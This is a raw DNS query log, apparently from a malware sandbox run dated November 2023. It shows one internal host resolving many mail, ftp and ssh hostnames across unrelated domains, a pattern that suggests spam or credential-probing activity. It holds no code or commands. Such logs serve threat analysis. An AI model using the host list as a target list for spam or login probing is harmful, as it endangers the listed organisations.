Nov 26, 2023 06:59:31.459636927 CET	1.1.1.1	192.168.2.4	0xd2f8	No error (0)	mx.avasin.plus.net		212.159.8.200	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.459636927 CET	1.1.1.1	192.168.2.4	0xd2f8	No error (0)	mx.avasin.plus.net		212.159.9.200	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.469460011 CET	1.1.1.1	192.168.2.4	0x4d91	No error (0)	mail.schor.be		80.92.66.174	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.478251934 CET	1.1.1.1	192.168.2.4	0x33a7	No error (0)	talentius-com.mail.protection.outlook.com		104.47.17.74	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.478251934 CET	1.1.1.1	192.168.2.4	0x33a7	No error (0)	talentius-com.mail.protection.outlook.com		104.47.17.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.478745937 CET	1.1.1.1	192.168.2.4	0xf420	No error (0)	mail.grantstech.io		193.203.239.23	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.484002113 CET	1.1.1.1	192.168.2.4	0x8653	No error (0)	my-calvary-qld-edu-au.mail.protection.outlook.com		104.47.71.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.484002113 CET	1.1.1.1	192.168.2.4	0x8653	No error (0)	my-calvary-qld-edu-au.mail.protection.outlook.com		104.47.71.202	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.579133034 CET	1.1.1.1	192.168.2.4	0x2688	No error (0)	mx2.mailserver.it		212.97.32.100	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.582110882 CET	1.1.1.1	192.168.2.4	0x1593	No error (0)	c47ab644ec7e3f14.mx2.emailprofi.seznam.cz		77.75.77.146	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.642160892 CET	1.1.1.1	192.168.2.4	0x79ae	Name error (3)	pop.member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.698458910 CET	1.1.1.1	192.168.2.4	0x163f	No error (0)	mx.core.locaweb.com.br		177.153.23.241	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.705179930 CET	1.1.1.1	192.168.2.4	0x3ec4	No error (0)	mail.locandafrancigena.it		144.76.107.16	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.757355928 CET	1.1.1.1	192.168.2.4	0xa7ad	No error (0)	smtpin.rzone.de		81.169.145.97	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.760700941 CET	1.1.1.1	192.168.2.4	0x34c2	Name error (3)	smtp.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.763360023 CET	1.1.1.1	192.168.2.4	0x82d5	No error (0)	mx.b.locaweb.com.br		177.153.23.242	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.764151096 CET	1.1.1.1	192.168.2.4	0x250f	Name error (3)	pop.elitebusinesshn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.787683964 CET	1.1.1.1	192.168.2.4	0x1900	Name error (3)	mailgate.elitebusinesshn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.787765980 CET	1.1.1.1	192.168.2.4	0xaa87	Name error (3)	relay.elitebusinesshn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.808569908 CET	1.1.1.1	192.168.2.4	0xd3a	Name error (3)	ssh.xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.873680115 CET	1.1.1.1	192.168.2.4	0x4a48	Name error (3)	mailgate.utlinks.om	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.941373110 CET	1.1.1.1	192.168.2.4	0x7b82	Name error (3)	relay.maxiv.lu.se	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.980302095 CET	1.1.1.1	192.168.2.4	0xf96a	No error (0)	www.rechagricola.com.br	store.cws.digital		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:31.980302095 CET	1.1.1.1	192.168.2.4	0xf96a	No error (0)	store.cws.digital	kubernetes-producao-1203337388.sa-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:31.980302095 CET	1.1.1.1	192.168.2.4	0xf96a	No error (0)	kubernetes-producao-1203337388.sa-east-1.elb.amazonaws.com		18.228.96.142	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.980302095 CET	1.1.1.1	192.168.2.4	0xf96a	No error (0)	kubernetes-producao-1203337388.sa-east-1.elb.amazonaws.com		54.232.150.26	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:31.989124060 CET	1.1.1.1	192.168.2.4	0xd0d2	Name error (3)	smtp.bunasta.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.020525932 CET	1.1.1.1	192.168.2.4	0x4fae	No error (0)	www.linkan-group.com	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.020525932 CET	1.1.1.1	192.168.2.4	0x4fae	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.020525932 CET	1.1.1.1	192.168.2.4	0x4fae	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.023397923 CET	1.1.1.1	192.168.2.4	0x237c	Name error (3)	relay.member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.032501936 CET	1.1.1.1	192.168.2.4	0x652f	No error (0)	www.dstaq.com	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.032501936 CET	1.1.1.1	192.168.2.4	0x652f	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.032501936 CET	1.1.1.1	192.168.2.4	0x652f	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.069309950 CET	1.1.1.1	192.168.2.4	0x3b23	No error (0)	upn-pe.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.069309950 CET	1.1.1.1	192.168.2.4	0x3b23	No error (0)	upn-pe.mail.protection.outlook.com		52.101.42.9	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.069309950 CET	1.1.1.1	192.168.2.4	0x3b23	No error (0)	upn-pe.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.069309950 CET	1.1.1.1	192.168.2.4	0x3b23	No error (0)	upn-pe.mail.protection.outlook.com		52.101.9.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.069309950 CET	1.1.1.1	192.168.2.4	0x3b23	No error (0)	upn-pe.mail.protection.outlook.com		52.101.8.42	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.069309950 CET	1.1.1.1	192.168.2.4	0x3b23	No error (0)	upn-pe.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.069309950 CET	1.1.1.1	192.168.2.4	0x3b23	No error (0)	upn-pe.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.093813896 CET	1.1.1.1	192.168.2.4	0x8c92	No error (0)	www.hugedomains.com		104.26.7.37	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.093813896 CET	1.1.1.1	192.168.2.4	0x8c92	No error (0)	www.hugedomains.com		104.26.6.37	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.093813896 CET	1.1.1.1	192.168.2.4	0x8c92	No error (0)	www.hugedomains.com		172.67.70.191	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.135478973 CET	1.1.1.1	192.168.2.4	0x6b76	No error (0)	getquipu.com		15.236.29.106	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.135478973 CET	1.1.1.1	192.168.2.4	0x6b76	No error (0)	getquipu.com		15.236.187.69	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.155222893 CET	1.1.1.1	192.168.2.4	0xb2cc	No error (0)	www.ceuandalucia.es		213.0.13.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.180494070 CET	1.1.1.1	192.168.2.4	0x4c36	No error (0)	www.prettypollycleaning.ae		192.96.211.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.197315931 CET	1.1.1.1	192.168.2.4	0x4152	No error (0)	mydirectlender.com		162.250.126.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.197976112 CET	1.1.1.1	192.168.2.4	0x8d79	No error (0)	www.2brospw.com	cdn1.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.197976112 CET	1.1.1.1	192.168.2.4	0x8d79	No error (0)	cdn1.wixdns.net	td-ccm-neg-87-45.wixdns.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.197976112 CET	1.1.1.1	192.168.2.4	0x8d79	No error (0)	td-ccm-neg-87-45.wixdns.net		34.149.87.45	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.223562002 CET	1.1.1.1	192.168.2.4	0x41cd	Name error (3)	ftp.cringemonster.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.230015039 CET	1.1.1.1	192.168.2.4	0xfa51	No error (0)	mail.beachrecruitment.com		95.168.220.222	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.259929895 CET	1.1.1.1	192.168.2.4	0xec28	Name error (3)	mailgate.bayambnag.gov.ph	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.275088072 CET	1.1.1.1	192.168.2.4	0xb7a0	No error (0)	www.harasduberry.com	web.jimdo.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.275088072 CET	1.1.1.1	192.168.2.4	0xb7a0	No error (0)	web.jimdo.com	web-hp.prod.jimdo.systems		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.275088072 CET	1.1.1.1	192.168.2.4	0xb7a0	No error (0)	web-hp.prod.jimdo.systems		34.240.130.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.275088072 CET	1.1.1.1	192.168.2.4	0xb7a0	No error (0)	web-hp.prod.jimdo.systems		99.81.150.60	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.275088072 CET	1.1.1.1	192.168.2.4	0xb7a0	No error (0)	web-hp.prod.jimdo.systems		34.251.197.140	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.284368038 CET	1.1.1.1	192.168.2.4	0x7cf8	No error (0)	www.gatewaytoearlylearning.com	gatewaytoearlylearning.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.284368038 CET	1.1.1.1	192.168.2.4	0x7cf8	No error (0)	gatewaytoearlylearning.com		199.34.228.177	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.311814070 CET	1.1.1.1	192.168.2.4	0xb6f7	Name error (3)	pop3.adm.uksw.edu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.313040972 CET	1.1.1.1	192.168.2.4	0x4799	No error (0)	ww38.ondania.com	908910.parkingcrew.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.313040972 CET	1.1.1.1	192.168.2.4	0x4799	No error (0)	908910.parkingcrew.net		76.223.26.96	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.313040972 CET	1.1.1.1	192.168.2.4	0x4799	No error (0)	908910.parkingcrew.net		13.248.148.254	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.316591024 CET	1.1.1.1	192.168.2.4	0x4edc	No error (0)	kidsrkids.com		141.193.213.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.316591024 CET	1.1.1.1	192.168.2.4	0x4edc	No error (0)	kidsrkids.com		141.193.213.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.321846008 CET	1.1.1.1	192.168.2.4	0x7893	No error (0)	www.perrisesd.org	ca01901047.schoolwires.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.321846008 CET	1.1.1.1	192.168.2.4	0x7893	No error (0)	ca01901047.schoolwires.net	d3i1ioguzwkpen.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.321846008 CET	1.1.1.1	192.168.2.4	0x7893	No error (0)	d3i1ioguzwkpen.cloudfront.net		13.32.208.27	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.321846008 CET	1.1.1.1	192.168.2.4	0x7893	No error (0)	d3i1ioguzwkpen.cloudfront.net		13.32.208.119	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.321846008 CET	1.1.1.1	192.168.2.4	0x7893	No error (0)	d3i1ioguzwkpen.cloudfront.net		13.32.208.45	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.321846008 CET	1.1.1.1	192.168.2.4	0x7893	No error (0)	d3i1ioguzwkpen.cloudfront.net		13.32.208.102	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.323548079 CET	1.1.1.1	192.168.2.4	0x8a3b	Name error (3)	ftp.aoiit.store	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.362317085 CET	1.1.1.1	192.168.2.4	0x3a18	Name error (3)	pop3.elitebusinesshn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.374645948 CET	1.1.1.1	192.168.2.4	0xfcb5	Name error (3)	imap.gstudent.ctu.edu.vn	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.436878920 CET	1.1.1.1	192.168.2.4	0x5a9a	Server failure (2)	relay.schmith.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.463216066 CET	1.1.1.1	192.168.2.4	0x469d	Server failure (2)	smtp.schmith.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.502238989 CET	1.1.1.1	192.168.2.4	0x67b0	No error (0)	www.grg17geblergasse.at		81.19.159.64	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.563357115 CET	1.1.1.1	192.168.2.4	0xe636	No error (0)	www.grantstech.io	grantstech.io		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.563357115 CET	1.1.1.1	192.168.2.4	0xe636	No error (0)	grantstech.io		185.135.132.105	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.628750086 CET	1.1.1.1	192.168.2.4	0x2c66	Name error (3)	ftp.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.630822897 CET	1.1.1.1	192.168.2.4	0xb50	No error (0)	www.avient.com		23.185.0.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.739223957 CET	1.1.1.1	192.168.2.4	0x2093	No error (0)	www.maxiv.lu.se	ht-haproxy-dmz.maxiv.lu.se		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.739223957 CET	1.1.1.1	192.168.2.4	0x2093	No error (0)	ht-haproxy-dmz.maxiv.lu.se		194.47.252.115	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.750927925 CET	1.1.1.1	192.168.2.4	0x216c	Name error (3)	ftp.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.774961948 CET	1.1.1.1	192.168.2.4	0xa7b8	No error (0)	www.beachrecruitment.com	beachrecruitment.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:32.774961948 CET	1.1.1.1	192.168.2.4	0xa7b8	No error (0)	beachrecruitment.com		95.168.220.210	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.896382093 CET	1.1.1.1	192.168.2.4	0xb1de	Name error (3)	ftp.2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.936779976 CET	1.1.1.1	192.168.2.4	0xd899	Name error (3)	ftp.nohonetworks.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:32.939270973 CET	1.1.1.1	192.168.2.4	0xe3f8	Server failure (2)	mail.bosworthacademy.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.266848087 CET	1.1.1.1	192.168.2.4	0xa158	Name error (3)	lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.267818928 CET	1.1.1.1	192.168.2.4	0x5e75	Name error (3)	lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.323009968 CET	1.1.1.1	192.168.2.4	0x5943	Name error (3)	ftp.carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.333009005 CET	1.1.1.1	192.168.2.4	0x5167	Name error (3)	yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.387857914 CET	1.1.1.1	192.168.2.4	0xaf6	Name error (3)	ftp.yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.388257980 CET	1.1.1.1	192.168.2.4	0xa7f8	Name error (3)	ftp.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.396477938 CET	1.1.1.1	192.168.2.4	0x89df	Name error (3)	carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.419476032 CET	1.1.1.1	192.168.2.4	0xb6fb	Name error (3)	2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.420608044 CET	1.1.1.1	192.168.2.4	0x247b	Name error (3)	sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.420941114 CET	1.1.1.1	192.168.2.4	0x80d8	Name error (3)	ftp.pixiil.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.424410105 CET	1.1.1.1	192.168.2.4	0xd2cb	Name error (3)	mail.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.471120119 CET	1.1.1.1	192.168.2.4	0xd28b	Name error (3)	ftp.ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.477356911 CET	1.1.1.1	192.168.2.4	0x506d	Name error (3)	ftp.schor.be	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.489095926 CET	1.1.1.1	192.168.2.4	0x1f36	Name error (3)	ftp.xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.492664099 CET	1.1.1.1	192.168.2.4	0xbe28	Name error (3)	ftp.macisis.co.uk	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.516588926 CET	1.1.1.1	192.168.2.4	0x2b6	Name error (3)	ftp.dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.523731947 CET	1.1.1.1	192.168.2.4	0xd3f9	Name error (3)	ftp.elitebusinesshn.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.535923958 CET	1.1.1.1	192.168.2.4	0x17b1	Name error (3)	paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.539386988 CET	1.1.1.1	192.168.2.4	0x91f7	Name error (3)	relay.bayambnag.gov.ph	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.546664953 CET	1.1.1.1	192.168.2.4	0xefd	Name error (3)	ftp.kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.553879976 CET	1.1.1.1	192.168.2.4	0xff26	Name error (3)	ftp.y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.572797060 CET	1.1.1.1	192.168.2.4	0xa493	Name error (3)	ftp.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.580991983 CET	1.1.1.1	192.168.2.4	0x9c3a	Name error (3)	ftp.highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.581804037 CET	1.1.1.1	192.168.2.4	0x54bf	Name error (3)	mail.yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.584402084 CET	1.1.1.1	192.168.2.4	0x438b	Name error (3)	mail.2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.591017008 CET	1.1.1.1	192.168.2.4	0x1547	Name error (3)	ftp.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.602583885 CET	1.1.1.1	192.168.2.4	0x5015	Name error (3)	ftp.mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.609981060 CET	1.1.1.1	192.168.2.4	0x54a8	Name error (3)	mail.xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.611406088 CET	1.1.1.1	192.168.2.4	0xc7c5	No error (0)	rech.com		18.229.0.171	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.625993967 CET	1.1.1.1	192.168.2.4	0xaa38	Name error (3)	mail.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.632529020 CET	1.1.1.1	192.168.2.4	0x181f	Name error (3)	mail.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.633924961 CET	1.1.1.1	192.168.2.4	0xce55	Name error (3)	ftp.xegge.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.636162043 CET	1.1.1.1	192.168.2.4	0x65a7	Name error (3)	mail.carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.645663977 CET	1.1.1.1	192.168.2.4	0x13f5	Name error (3)	ftp.chandigarhuniversityazure.onmicrosoft.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.677217007 CET	1.1.1.1	192.168.2.4	0x9de5	Name error (3)	ftp.tnav.ru	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.682606936 CET	1.1.1.1	192.168.2.4	0xb71c	Name error (3)	ftp.firemailbox.club	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.688677073 CET	1.1.1.1	192.168.2.4	0x1229	Name error (3)	ftp.member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.690068960 CET	1.1.1.1	192.168.2.4	0x7614	Name error (3)	pop3.member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.813734055 CET	1.1.1.1	192.168.2.4	0x5905	Name error (3)	ftp.student.ub.ac.id	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.818877935 CET	1.1.1.1	192.168.2.4	0x3851	Name error (3)	mailgate.adm.uksw.edu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.847877979 CET	1.1.1.1	192.168.2.4	0x45e5	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 26, 2023 06:59:33.854026079 CET	1.1.1.1	192.168.2.4	0xbf1d	No error (0)	www.knu.ac.in		3.111.240.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.868540049 CET	1.1.1.1	192.168.2.4	0xfae3	Name error (3)	ftp.goldenfishcompany.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.874701023 CET	1.1.1.1	192.168.2.4	0xb538	Name error (3)	mail.y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.877283096 CET	1.1.1.1	192.168.2.4	0xb88	Name error (3)	mail.ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.880032063 CET	1.1.1.1	192.168.2.4	0x8971	Name error (3)	mail.highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.880358934 CET	1.1.1.1	192.168.2.4	0xd4fd	Name error (3)	mail.mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.880815029 CET	1.1.1.1	192.168.2.4	0x7357	Name error (3)	mail.dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.919830084 CET	1.1.1.1	192.168.2.4	0x3d13	Name error (3)	ftp.healteas.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.928281069 CET	1.1.1.1	192.168.2.4	0x73d6	Name error (3)	ftp.5.e9mbw4gh	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.933166027 CET	1.1.1.1	192.168.2.4	0xbb7f	Name error (3)	mail.kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.940817118 CET	1.1.1.1	192.168.2.4	0x1126	Name error (3)	mail.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.941586018 CET	1.1.1.1	192.168.2.4	0xbc83	Name error (3)	ftp.matttux.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.953247070 CET	1.1.1.1	192.168.2.4	0xc711	Name error (3)	ssh.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.954617023 CET	1.1.1.1	192.168.2.4	0xab4d	Name error (3)	ftp.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.955636978 CET	1.1.1.1	192.168.2.4	0xc5ae	Name error (3)	ftp.utlinks.om	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.959176064 CET	1.1.1.1	192.168.2.4	0xfea4	Name error (3)	mail.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.962553978 CET	1.1.1.1	192.168.2.4	0xe563	Name error (3)	ssh.adm.uksw.edu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:33.964050055 CET	1.1.1.1	192.168.2.4	0x690a	Name error (3)	ftp.ippals.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.017685890 CET	1.1.1.1	192.168.2.4	0x4d7e	Name error (3)	mail.gmail.io	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.049798012 CET	1.1.1.1	192.168.2.4	0xf1ba	No error (0)	www.integraledu.hr		78.128.62.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.082204103 CET	1.1.1.1	192.168.2.4	0xae9c	Name error (3)	ftp.gstudent.ctu.edu.vn	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.104820013 CET	1.1.1.1	192.168.2.4	0xa861	Server failure (2)	ftp.bosworthacademy.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.111130953 CET	1.1.1.1	192.168.2.4	0x633	Name error (3)	ssh.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.154329062 CET	1.1.1.1	192.168.2.4	0xe495	Name error (3)	xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.157552958 CET	1.1.1.1	192.168.2.4	0xec9a	Name error (3)	mail.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.166563034 CET	1.1.1.1	192.168.2.4	0xc493	Name error (3)	ssh.gmail.io	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.209934950 CET	1.1.1.1	192.168.2.4	0x18ca	Name error (3)	ssh.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.215488911 CET	1.1.1.1	192.168.2.4	0xa0e3	Name error (3)	ssh.aoiit.store	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.262841940 CET	1.1.1.1	192.168.2.4	0xaa8	Server failure (2)	ftp.schmith.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.292433977 CET	1.1.1.1	192.168.2.4	0x56cb	Name error (3)	ftp.bayambnag.gov.ph	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.300226927 CET	1.1.1.1	192.168.2.4	0x6d4a	No error (0)	route1.mx.cloudflare.net		162.159.205.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.300226927 CET	1.1.1.1	192.168.2.4	0x6d4a	No error (0)	route1.mx.cloudflare.net		162.159.205.12	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:34.300226927 CET	1.1.1.1	192.168.2.4	0x6d4a	No error (0)	route1.mx.cloudflare.net		162.159.205.13	A (IP address)	IN (0x0001)	false
